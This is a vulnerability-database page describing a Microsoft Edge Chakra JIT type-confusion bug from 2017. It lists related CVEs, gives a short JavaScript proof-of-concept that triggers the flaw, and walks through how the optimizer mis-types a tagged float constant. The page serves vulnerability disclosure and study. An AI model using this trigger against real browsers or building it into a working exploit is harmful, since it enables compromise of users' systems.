| Reporter | Title | Published | Views | Family All 64 |
|---|---|---|---|---|
| Microsoft Edge Chakra JIT BailOutOnTaggedValue Bailouts Exploit | 26 Nov 201700:00 | – | zdt | |
| CVE-2017-11841 | 15 Nov 201703:29 | – | attackerkb | |
| CVE-2017-11861 | 15 Nov 201703:29 | – | attackerkb | |
| CVE-2017-11846 | 15 Nov 201703:29 | – | attackerkb | |
| CVE-2017-11840 | 15 Nov 201703:29 | – | attackerkb | |
| CVE-2017-11871 | 15 Nov 201703:29 | – | attackerkb | |
| CVE-2017-11858 | 15 Nov 201703:29 | – | attackerkb | |
| CVE-2017-11837 | 15 Nov 201703:29 | – | attackerkb | |
| CVE-2017-11866 | 15 Nov 201703:29 | – | attackerkb | |
| CVE-2017-11870 | 15 Nov 201703:29 | – | attackerkb |
function opt2(inlinee, v) {
if (v > 0) {
inlinee();
} else {
inlinee.x = 1.1;
}
}
function opt() {
opt2(2.3023e-320, null);
}
function main() {
opt2(() => {}, 1); // feed a function to the profiler
for (let i = 0; i < 10000; i++) {
opt();
}
}
main();
We can simply think it as follows:
(NOT PRECISE just for understanding)
Just after inlining:
// Basic block (a)
s2 = 2.30235E-320; // constant
inlinee = s2; // variable
if (null > 0) {
// Basic block (b)
BailOnNotObject(inlinee);
inlinee();
} else {
// Basic block (c)
inlinee.x = 1.1;
}
Type map:
Constants:
s2: CanBeTaggedValue_Float
Basic block (a):
inlinee: CanBeTaggedValue_Float
Basic block (b):
inlinee: CanBeTaggedValue_Float
Basic block (c):
inlinee: CanBeTaggedValue_Float
In the Global Optimization Phase:
// Basic block (a)
s2 = 2.30235E-320;
if (null > 0) {
// Basic block (b)
BailOnNotObject(s2);
s2();
} else {
// Basic block (c)
s2.x = 1.1;
}
Type map:
Constants:
s2: CanBeTaggedValue_Float -> Float
Basic block (a):
Basic block (b):
Basic block (c):
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation